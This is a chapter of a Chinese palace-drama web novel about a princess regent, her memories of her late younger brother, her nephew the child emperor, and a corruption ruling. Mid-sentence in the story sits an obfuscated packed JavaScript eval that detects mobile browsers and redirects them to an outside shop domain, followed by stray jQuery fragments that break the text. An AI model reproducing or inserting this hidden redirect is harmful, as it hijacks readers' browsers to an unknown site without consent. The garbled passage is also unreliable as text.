十一月的白天不算长,处理完昨晚落下的事情后,谢岫又独自睡在了寝殿里。
不知道是不是因为白天念叨了谢岚,她久违地梦见了她的弟弟。
……
谢岚,是当时的四皇子,而她是大公主,只比谢岚早出生一年。
他们的母妃平平无奇,在圣上百花齐放的后宫不算是漂亮,母家在前朝的权柄也不够大。
不过因为过于独特的面容,又孕育了两个皇室血脉,所以在后宫还算有喘息的机会,他们那几年过的并不难。
直到母妃去世,她刚开始启蒙没两年,母妃便在一个夜里无声无息的病死了。
太医说是生育拖垮了身体。
沉默笼罩了整个宫殿,屋里挂满了白绸。她本来是要放声哭喊的,但她先听见弟弟的呜咽,所以忍着心中的恐惧与茫然,勉强擦干眼泪,伸手抱着弟弟安慰着。
她知道,母妃是怀谢岚时被下了毒,一直撑这么多年才走的。
谢岚自小喝水比喝药多,所以她自小就知道要照顾母妃,保护弟弟。
等母妃后事结束,她,弟弟,和几个母妃的仆从被遗忘在原来的偏殿里后,那时她反而松了一口气。
只要不把她和弟弟分开就行。
她跟着母妃身边的阿竹学武,家世比她厉害的欺负她们她就打回去,不比她厉害的也不敢招惹她。
她尽可能保护自己这唯一的弟弟了。
但是弟弟还是出事了,腊月里,他们宫殿总是分的炭火最少的,她夜里被滚烫的额头惊醒,抬眼就是谢岚烧红了的脸。
她当时怎么来着,因为怕太医不重视,怕背后的人使坏推脱,忍着痛给自己手上划了一刀,用自己逼骗着太医来,才从阎王手里抢回了她弟弟的命。
那时她还是宫中唯一的公主,又掼会在人前撒娇卖痴,便能得些父皇的宠爱,其他人会顾忌一番。
她被吓的不行,在次日便带着伤了的手,跑去了父皇那里,求了一份和皇子一样可以去太学的恩典。
那时的江濯雪被她选中当了伴读。
但是这些她弟弟都没有,没有父皇的关注,没有健康的身体,没有伴读。
谢岚只能在母妃去世时抱着只比他大一岁的姐姐,一边咳一边哭,通红的眼里尽是难过。
谢岚只能在发着高烧,在意识不清醒时,无力地祈求上天高抬贵手,再留他几年。
他什么也做不了,也什么也不能做。
她在太学里头锋芒毕露,次次考察都是前三,却掼以调皮出名,众人在升起警惕心时也会因这个与公主的身份轻轻带过。
谢岚不一样,谢岚比她还小一岁,却在经书考论方面比她还厉害,只是因为前头有三位兄长,不敢再出头。
谢岚爱看书,往往都是她去借,然后带回宫中给他看,有时是一周,有时是几天,他看不懂便会过来在院里乖乖等她练完武,然后告诉她,她再去问夫子。
谢岚怕疼,他本就瘦小,身上全是骨头,肉只留在脸颊上,磕着碰着了便由泪水浸湿了眼眶,泪汪汪喊着姐姐,叫着疼。
谢岚容易受欺负。
她在十岁后便时常和江濯雪去她父亲那里学武,读兵法,然后再到太学散学时来接他。
只一次,她来接谢岚时,无意中扯过他袖子时才发觉他手臂有伤。仔细盘问跟着的侍从,他们不敢答,也只说是不小心磕碰了。
她哪能不了解她弟弟,若是平常磕碰必是要她哄着一番的,何必找借口来骗她,还让跟着的人变了口风。
左右不过是太学里头几位皇子的主意,近日六皇子到了年龄,来了太学,多半是他的手笔!她那时在气头上,冷着脸也不理埋着头的谢岚了,当即就要往里头进去。
这时是谁来着。
她正要往太学里头去,一个少年拉住了她。
她回头,眯着眼看着那人。那人她认识,是太子伴读,裴家的嫡长公子,裴令辞。
裴令辞自觉失礼,向她微微一拜,面露歉意,提醒道:“殿下,夫子还在里头。”
她稍微清醒了些,太学的夫子都是德高望重的,在外头打上一顿得了,若是闹到夫子面前就是另一回事了。
于是她朝裴令辞道谢,然后看也不看她撒谎的弟弟,转身便走,不一会儿便没了踪影。
谢岚追不上她,被她扔在了后面。
她跑去六皇子必经之路上狠狠吓唬了一顿才六岁的小孩儿,把人吓得大哭,又恶狠狠威胁他不准说出去,不然就等着下次的打!
六皇子被吓得说不出话,连忙点头,她这才满意放人走了。
回宫时已经天黑了,漆黑的房子里只有微弱的灯,她皱眉,往里头走,才看见灯下坐着一个无声流着眼泪的小人。
她借着微弱的灯光看过去,这小人果然是她弟弟。见她回来,谢岚一愣,随即扑进她怀里,上气不接下气地开始嚎啕大哭。
“姐姐!不要丢下我!”
……
“姑姑!不要丢下我!”
谢岫猛然惊醒,揉了揉眼睛,还以为自己听错了时,外头又响起了小孩儿的哭喊,一派的上气不接下气的嚎啕声。
“姑姑!姑姑!”
谢岫一惊,正准备起身去看,还没来得及下床,就见一个明黄色的身影朝自己奔来,直直撞进她怀里。
她下意识把人接住,摸着小孩儿冰凉的手,连忙将小人抱上了床,用被子裹住。
谢岫立马吩咐道:“酿春,去取碗姜汤来。”
酿春跨过门口跪着的一队人马,出了殿。那群人被拦在外头,齐刷刷跪了一地,磕头请罪。
茯苓自觉把人带出去审问,谢岫这才低头看着陷在被子里,哭的脸通红,还一颤一嗝的小人。
小人现在在被子里倒是安静了,只是一时哭嗝停不下来,睁着个红又圆的眼睛可怜巴巴看着你。
谢岫刚从梦里醒来,不由一阵恍惚,看着这张相熟的面孔,声音轻柔:“澈哥儿怎么了?”
谢澈张开嘴,正要说缘由,难免又想起了梦里被抛弃孤零零的感受,于是一半哭腔口齿不太清晰说着梦里的故事。
许是被自家姑姑抱着,他情绪没那么激烈了,在讲完故事后看着静静听他说话的姑姑,忽然不太好意思,但是又还是害怕,便扭扭捏捏低下了头。
谢岫相信了天意。
她一下又一下拍着她现在世界上唯一的亲人的后背,不知是抚慰自己还是抚慰受惊吓的孩子。
她道:“在呢,不怕了,姑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796104|210522||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
姑一直在的。”
酿春端着姜汤进来,兴许是哭累了,这小孩儿在喝完姜汤后,期期艾艾抱着自己姑姑的手臂便沉沉睡了过去。
酿春犹豫看着自家主子,却见自家主子叹了口气,目光柔柔落在小皇帝睡着的脸上,半晌,她听见一声吩咐。
“今夜就这样,出去吧。”
酿春答是,转身出去了,关门时却见自家主子还看着孩童的睡颜,有些出神。
……
谢岫确实是恍惚了。
当时她回去的时候没想到谢岚会说出这么一句话,也没想到他会哭成这个样子。
到底两个人都是为了对方着想,她忍不下心去责骂他,更狠不下心去任由弟弟这样哭下去。
她抱着弟弟哄着,像是哄着现在的谢澈一样,一遍又一遍说在呢,姐姐在呢,一边帮他顺气,两人就那样在原地紧紧抱着,等谢岚平复好情绪才分开。
她弟弟罕少会这样不顾面子地放声大哭,故意挤挤眼泪撒娇才是常态。固然她明白,固然她心疼,却还是在他冷静下来后与他讲道理。
当时并不知道他听进去没有,谢岚在她面前一向是乖的,现在回想,八成是来骗她。
小伤便撒娇,大病则一声不吭。
他本来就长的乖,又瘦弱可怜,次次都能让身边亲近的人心软,自己又次次上当,觉得自己能摆平一切。
两个人都自作聪明过了头。
……
翌日清晨。
谢岫是要早起办公的,她轻轻下床,为还睡梦中的孩童重新盖严了被子,一番梳洗后,才被告知刑部尚书,左都御史,大理寺卿三人在小书房候着。
待谢岫到小书房后,三人起身给她行礼。
谢岫摆了摆手,坐到椅子上,“有结果了?”
刑部尚书先将东西送了上去,答道:“回殿下,牵连人员已经登记在册,至于那地背后站着的人,据口供和证据,是户部左侍郎王启崇王大人。”
谢岫看着上面的证据链和供词手印,掀了掀眼皮,淡声道:“其他两位大人怎么看?”
左都御史上前:“臣无异议。”
她撩眼看三人中最年轻的大理寺卿。
裴令辞缓缓拱手道:“臣附议。”
三人都是这个结果,三方都没有异议,谢岫冷呵一声,“王启崇。”
谢岫狭眸,道:“户部左侍郎王启崇,连带着其余官员亲戚,按律严惩!涉案举子剥夺功名,一并问罪!”
三人拱手称是。
待三人准备离开时,谢岫开口留下了裴令辞,在他有些诧异的目光里,出声问他。
“裴大人幼时是太子伴读?”
谢岫经的昨晚的梦莫名记起了自己与裴令辞的见面。
裴令辞眸光微动,眼里闪过什么,他微微颔首,垂下眼睫。
“是。”
谢岫又问,“裴大人见过本宫?提醒本宫夫子那次。”
他讶然,随即变得眉眼弯弯,眸子里的亮光的像是溢出的笑,他轻轻道:“殿下还记得。”
原本以为只有他记得呢……
谢岫便知是错不了了,她这时声音也带上了笑,“之前是裴大人帮的本宫的忙,本宫自然要记得的。”